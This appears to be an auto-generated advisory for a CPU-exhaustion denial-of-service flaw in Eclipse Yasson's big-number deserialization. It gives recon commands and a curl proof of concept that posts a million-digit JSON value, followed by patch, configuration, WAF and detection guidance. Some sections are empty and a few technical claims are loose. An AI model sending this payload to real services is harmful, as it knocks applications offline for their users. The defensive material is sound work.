CVE-2026-137408 — Eclipse Foundation Eclipse Yasson (1.0.11) — CWE-400 · CWE-770
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for `BigInteger`, `BigDecimal`, `Number` and untyped targets (`Object`, `Map<String,Object>`) take the raw JSON number token as a string and pass it to `new BigDecimal(String)` / `new BigInteger(String)` without any length limit. These constructors have quadratic cost in the number of digits, so a single JSON number or quoted digit string of a few hundred KB to 1 MB can occupy a thread for several seconds to about 10 seconds. The number-length limit that Parsson added for CVE-2023-4043 (default 1100 characters) is enforced only in `JsonParser.getBigDecimal()`, which Yasson does not call on these paths, so it does not mitigate the issue. A remote, unauthenticated attacker who can send JSON to an application that binds it to one of these types without prior validation can cause denial of service through CPU exhaustion. This issue is fixed in 1.0.12, 2.0.5, and 3.0.7 versions by introducing a default maximum length of 1,100 characters for BigInteger/BigDecimal and scale of 100,000 for BigDecimal. These defaults are configurable via JsonbConfig properties or system properties, `yasson.max-big-number-length` and `yasson.max-big-number-scale` respectively. Yasson 2.0.X and 1.0.X artifacts where previously published to the `org.eclipse` group id. The 2.0.5 and 1.0.12 artifacts have been published to the currently used `org.eclipse.yasson` group id.
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for `BigInteger`, `BigDecimal`, `Number` and untyped targets (`Object`, `Map<String,Object>`) take the raw JSON number token as a string and pass it to `new BigDecimal(String)` / `new BigInteger(String)` without any length limit. These constructors have quadratic cost in the number of digits, so a single JSON number or quoted digit string of a few hundred KB to 1 MB can occupy a thread for several seconds to about 10 seconds. The number-length limit that Parsson added for CVE-2023-4043 (default 1100 characters) is enforced only in `JsonParser.getBigDecimal()`, which Yasson does not call on these paths, so it does not mitigate the issue. A remote, unauthenticated attacker who can send JSON to an application that binds it to one of these types without prior validation can cause denial of service through CPU exhaustion. This issue is fixed in 1.0.12, 2.0.5, and 3.0.7 versions by introducing a default maximum length of 1,100 characters for BigInteger/BigDecimal and scale of 100,000 for BigDecimal. These defaults are configurable via JsonbConfig properties or system properties, `yasson.max-big-number-length` and `yasson.max-big-number-scale` respectively. Yasson 2.0.X and 1.0.X artifacts where previously published to the `org.eclipse` group id. The 2.0.5 and 1.0.12 artifacts have been published to the currently used `org.eclipse.yasson` group id.
🎯 What is this vulnerability?
Technical flaw
Eclipse Yasson (the reference implementation of JSON‑B) deserializes JSON numeric values for the following target types:
| Target type | Constructor used |
|---|---|
java.math.BigInteger | new BigInteger(String) |
java.math.BigDecimal | new BigDecimal(String) |
java.lang.Number (untyped) | same as above |
Object / Map (untyped) | same as above |
The deserializer takes the raw JSON number token as a string and passes it directly to the Java constructors without imposing any length limit.
Both BigInteger(String) and BigDecimal(String) have a quadratic time complexity in the number of digits (O(n²)). Consequently, a single numeric literal of a few hundred kilobytes to one megabyte can consume a thread for several seconds up to ~10 s, exhausting CPU resources.
Yasson’s earlier patch for CVE‑2023‑4043 added a length guard in JsonParser.getBigDecimal(), but the vulnerable paths bypass that method entirely. Therefore the guard is ineffective for the affected deserializers.
CWE mapping
- CWE‑400 – Uncontrolled Resource Consumption
- CWE‑770 – Allocation of Unbounded Resources
- CWE‑407 – Uncontrolled Memory Allocation
- Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS
No authentication, no user interaction, high availability impact only.
⚡ Attack Chain
Note: The exact HTTP endpoint that accepts the JSON payload is not specified in the CVE description. The following example uses a generic /api/submit endpoint that is commonly found in REST services built with JSON‑B. Replace it with the real URI in your environment.1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands | |
|---|---|---|---|
| Identify Java web application | Port scan, banner grab | nmap -sV -p 80,443 <target> | |
| Detect JSON‑B usage | Search for org.eclipse.yasson in class‑path or JAR list | jar tf <app‑war>.war | grep yasson |
| Determine Yasson version | Inspect pom.xml or META-INF/MANIFEST.MF | grep -i yasson <app‑war>/META-INF/MANIFEST.MF | |
| Verify vulnerability | Send a large numeric payload and observe CPU spike | See exploitation step below |
2. Exploitation
Goal: Trigger CPU exhaustion on a single thread that processes the JSON request.
Payload
A JSON object containing a single numeric field whose value is a string of 1 MB of digits. The field name is arbitrary; the deserializer will treat it as a BigDecimal or BigInteger depending on the target type.
{
"hugeNumber": "12345678901234567890123456789012345678901234567890..." // 1 000 000 digits
}Curl PoC (illustrative)
# Generate a 1 MB numeric string
NUM=$(printf '1%.0s' {1..1000000}) # 1 000 000 digits
# Build JSON payload
JSON=$(printf '{"hugeNumber":"%s"}' "$NUM")
# Send request
curl -s -X POST \
-H "Content-Type: application/json" \
-d "$JSON" \
http://<target>/api/submitWhat happens on the server
1. The JSON parser reads the token hugeNumber and passes the raw string to new BigDecimal(String) (or new BigInteger(String) if the target type is Number/Object).
2. The constructor performs a quadratic‑time conversion, allocating memory proportional to the square of the digit count.
3. The thread that handles the HTTP request is blocked for several seconds to ~10 s, consuming CPU cycles.
4. If the attacker repeats the request or sends many such requests, the application’s thread pool is saturated, leading to a denial‑of‑service (DoS).
3. Post‑Exploitation
The vulnerability is purely a DoS; it does not provide privilege escalation, RCE, or data exfiltration. The attacker’s impact is:
🌍 Real World Impact
| Impact | Description |
|---|---|
| Availability | High (CVSS VA:H). A single oversized number can lock a thread for up to 10 s. Repeated or concurrent requests can exhaust all worker threads, causing the application to become unresponsive. |
| Confidentiality / Integrity | None (CVSS VC:N, VI:N). The vulnerability does not leak data or modify it. |
| Privilege Escalation / RCE | None (CVSS PR:N, AT:N). The attacker does not gain any elevated privileges or execute code. |
| User Interaction | None (CVSS UI:N). The attack can be performed entirely from the network. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Product | Affected versions | Fixed versions |
|---|---|---|
| Eclipse Yasson | 1.0.0 – 1.0.11 | 1.0.12 |
| Eclipse Yasson | 2.0.0 – 2.0.4 | 2.0.5 |
| Eclipse Yasson | 3.0.0 – 3.0.6 | 3.0.7 |
Action: Upgrade to the latest patched release (≥ 1.0.12, 2.0.5, 3.0.7).
If you are using the older org.eclipse group ID, ensure you replace it with org.eclipse.yasson in your build configuration.
2. Workarounds (if upgrade is not immediately possible)
| Setting | Default (fixed) | Suggested value | How to apply |
|---|---|---|---|
yasson.max-big-number-length | 1100 characters | 500–1000 (depends on risk tolerance) | System property: -Dyasson.max-big-number-length=500 |
yasson.max-big-number-scale | 100 000 | 10 000–50 000 | System property: -Dyasson.max-big-number-scale=10000 |
| JSON schema validation | None | Add a schema that limits numeric length | Use JSON‑B JsonbConfig with JsonbBuilder |
Implementation example (Java)
JsonbConfig config = new JsonbConfig()
.withProperty("yasson.max-big-number-length", 500)
.withProperty("yasson.max-big-number-scale", 10000);
Jsonb jsonb = JsonbBuilder.create(config);3. WAF / ModSecurity Rules
| Rule | Description |
|---|---|
| Block JSON numbers > 1100 digits | Detects \d{1101,} in the request body and returns 400. |
| Rate‑limit large payloads | Throttle requests with Content‑Length > 1 MB. |
ModSecurity example
SecRule REQUEST_BODY "@rx \"\\d{1101,}\"" \
"id:1001,phase:2,deny,status:400,msg:'Large numeric literal detected'"4. Detection
| Indicator | What to look for |
|---|---|
| CPU spike on application server | top, htop, or container metrics |
Thread dumps showing BigDecimal parsing | jstack, jcmd |
| Repeated 400 responses from WAF rule | Web server logs |
High number of requests with Content‑Length > 1 MB | Log aggregation (ELK, Splunk) |
Sample log pattern
2026-12-04T12:34:56Z INFO [http-nio-8080-exec-12] org.eclipse.yasson.JsonbDeserializer - Parsing BigDecimal of length 1048576⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query